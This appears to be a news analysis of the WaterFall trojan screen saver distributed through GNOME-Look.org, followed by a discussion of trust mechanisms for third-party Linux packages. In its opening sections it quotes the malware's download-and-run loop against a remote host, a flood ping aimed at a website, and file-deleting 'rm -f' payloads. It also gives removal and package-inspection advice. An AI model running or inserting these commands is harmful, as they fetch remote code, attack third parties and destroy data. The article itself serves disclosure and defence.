Linux malware: an incident and some solutions

Linux users like to think that they are not vulnerable to all the evil that is out there on the internet, but a recent incident showed that they too should be careful. A screen saver from the popular web site GNOME-Look.org turned out to be malware that made the user's computer take part in a distributed denial-of-service attack.

GNOME-Look.org is a website where users can download artwork for the GNOME Desktop, such as wallpapers, GTK themes, icons, splash screens, and screen savers. Its motto is "Eyecandy for your GNOME-Desktop". One week ago, an Ubuntu user "conorsulli" that had installed a screen saver called "WaterFall" noticed something strange and posted his discovery in the Ubuntu forums. The .deb file he had downloaded didn't install a screen saver but instead some weird files.

First, it installed a script gnome.sh into /etc/profile.d, meaning that the script gets executed every time someone logs in (because /etc/profile executes all scripts it finds in /etc/profile.d). This script then runs another installed script, /usr/bin/Auto.bash, which downloads some files from a free web hosting site at T35 Hosting and installs them locally: /usr/bin/run.bash and /usr/bin/index.php. The whole Auto.bash script is:

    while :
    do
	rm /usr/bin/run.bash
	cd /usr/bin/
	wget http://05748.t35.com/Bots/index.php
	wget http://05748.t35.com/Bots/run.bash
	sleep 4
	rm index.php
	chmod 755 run.bash
	command -p /usr/bin/run.bash
    done

So, Auto.bash downloads index.php (which it strangely removes before doing anything with it) and run.bash, after which it executes the latter. Ultimately, the downloaded script run.bash pings packets of a large size (around 64 kB) to a server, presumably to mount a distributed denial-of-service attack:

    ping -s 65507 www.mmowned.com

The victim, MMOwned, seems to be a web site dedicated to exploits, hacks, bots, and guides to the massively multiplayer online game World of Warcraft. However, as the script run.bash gets downloaded each time the user logs in, it could be replaced by other, much worse, assignments. Note that the script Auto.bash uses an infinite loop. Combined with the sleep command, this effectively downloads and executes a new run.bash every few seconds, for as long as the user is logged in. This is not very stealthy, as watching for suspicious network connections with netstat or suspicious processes with top or ps will likely spot the problem.

Dangerous payloads

When Ubuntu users visited the URI where the scripts were hosted to investigate the case, the culprit noticed and explained his quest:

And indeed, at one time the run.bash script contained sudo rm -f /*, which removes all files (luckily not recursively, because the command lacks the r flag) in the root directory. To prove his point, the bad guy changed the payload a few times, for example to:

    rm -f /*.*
    echo "You see this? It's changed, before it was set to ping?"

Ultimately, conorsulli's discovery led the administrators of GNOME-Look.org to remove the malicious screen saver from their web site. The forum thread then listed instructions to remove the malware, first purge the deb file with:

    apt-get --purge remove app5552

then remove the downloaded files. However, because the run.bash script is downloaded from a server every time the user logs in, no one can exclude the possibility that it did something much more nasty and has hidden a backdoor. A complete reinstall of Ubuntu is the only safe solution here. But the bad guy didn't stop and tried to masquerade the same attack in the "Ninja Black" theme.

There are still some gaps in our understanding about what the malware did exactly. Because the .deb file can't be inspected anymore, it's hard to fill in those gaps. There appear to be some problems with the script: for example Auto.bash runs as a regular user and thus has no write permissions to /usr/bin (unless that is somehow changed as part of the installation script). So run.bash couldn't be downloaded and would only be executed as it was installed from the .deb. The whole construction looks like it might have been written by a script kiddie, but it's scary to think about the consequences of a competent programmer writing such malware.

In ... we trust

Of course it's not hard to come up with the lesson from of all this. One of the Ubuntu users summarized it neatly:

Examining the contents of a deb file is actually simple:

    dpkg --contents foo.deb

The offline package installer Gdebi even shows the included files in a package before it is installed. Eventually, the discussion moved into a new thread, "Social engineering (trojan) via gnome-look.org", discussing the problem of Linux malware from a general point of view.

Software in the official repositories of Linux distributions are more or less trustworthy because most distributions have a policy that requires that the software be tested. So package managers and the repositories they use are a trusted source. This is one of the reasons why malware isn't as common on Linux systems as on Windows, where the user has to install lots of third-party software from various sources. The problem of course is: if users trust arbitrary code, then they are vulnerable to all sorts of security risks. When installing something from outside an official repository, the user has to do the testing step himself. Needless to say, many users won't do that. They just want to run the newest screen savers, themes, and other software to spice up their desktop.

However, there is a genuine need for more software than the official repositories have. Ubuntu has the PPAs (Personal Package Archives) for this purpose, but then the user has to trust the PPA owner. Although there are some requirements for setting up a PPA, such as signing the Ubuntu code of conduct, apparently there are no formal requirements or reviews, so in principle anyone can set up a malicious PPA.

So maybe it's time to think about a more general solution, e.g. with a GPG-based "web of trust". This can also be implemented in the form of "trusted PPAs". This way the owner of a PPA can prove their identity, and users can then download only packages from someone they trust (or someone trusted by someone they trust). Incidentally, the roadmap of Ubuntu Software Center shows some plans in this domain for Ubuntu 10.10: "Establish and convey a trust level for software in PPAs, and let you easily add PPAs within the Center.", although it doesn't mention how that trust level would be established. But even when this is implemented, one must not forget that trust can be misguided. Apparently, people trusted GNOME-Look.org blindly.

Mandatory version control

Another proposal came from Amarok developer Mark Kretschmann, who has been thinking about possible solutions to malware. He doesn't find a review process practical:

What he proposes as a first barrier is mandatory version control for all third-party KDE components, such as Amarok plugins, Plasma applets, and so on:

Requiring that packages come out of project-run VCS doesn't solve all the problems, but it could help. However, it does require that the VCS server is adequately secured, as Joey Hess pointed out: "It's easy for anyone with shell access to the svn server to go back and change someone else's past commit, inserting their malware at that point without anything pointing to them as the perpetrator."

The year of the Linux desktop?

Some people have jokingly said that this malware incident shows that we have finally reached the "year of the Linux desktop". There is some truth in that, though. Linux, and especially Ubuntu, is attracting more and more new users. However, many of these users have learned bad habits in the Windows world, such as downloading eye candy from arbitrary sources. An incident like the WaterFall malware can only be avoided when users are trained not to trust third-party software blindly. We also need more technical measures: mandatory version control might be a first step, but some kind web of trust for software could be helpful too. The latter would make trust an explicit feature in package managers, which may make users think about how they trust the source before they install a package.

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